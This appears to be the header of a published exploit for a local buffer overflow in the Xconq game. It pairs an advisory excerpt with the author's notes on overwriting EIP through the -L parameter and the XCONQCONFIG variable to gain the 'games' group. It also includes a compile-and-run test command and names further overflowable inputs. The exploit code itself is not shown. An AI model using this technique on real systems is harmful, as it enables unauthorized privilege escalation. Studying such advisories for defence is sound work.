Stanley T. Shebs Xconq 7.2.2 - xconq Buffer Overflow

/*
source: https://www.securityfocus.com/bid/1495/info

Xconq is a multiple player strategy game available for many unix platforms. It contains a number of buffer overflow vulnerabilities including the ability to overflow stack buffers with either the DISPLAY or the USER environment variables. The Redhat Linux Xconq package installs the game with SGID 'games' privileges allowing an attacker to compromise the local 'games' group.

/* (linux)xconq[v7.4.1] local buffer overflow, by:
v9[v9@fakehalo.org].  this
    will give you uid=games on systems with
xconq.  this exploit was slightly
    more work than i thought it was going to be. 
i originally wrote this
    exploit for the -g parameter.  but, via the -g
parameter you must have a
    display.  via ths -L parameter you do not need
a display, but it is much
    more exact.  in this method you have to fill
the XCONQCONFIG environmental
    variable to a certain point to be able to
overwrite the eip via the -L
    parameter.  (64 bytes is more than enough).  i
also needed to modify some
    shellcode for this.  all in all, too much work
for what it is worth.

    example(test usage):
------------------------------------------------------------------------------
bash# echo id|(id;cc xxconq.c -o xxconq;./xxconq
-5000 0 20 507)
fakehalo: uid:1000 gid:100. [euid:1000 egid:100]

------------------------------------------------------------------------------

    note: built and tested on slackware.  some
other overflowable functions i
          will mention are the -g parameter and
the XCONQLIB environmental
          variable,  both of those overflows
require a display to exploit.
          this program also has an odd usage of
setuid(); in it to drop its
          privileges -- making it possible to
break.  and yes, i squished the
          code together on purpose.  why? i am a
*x80 resolution kinda guy :/.
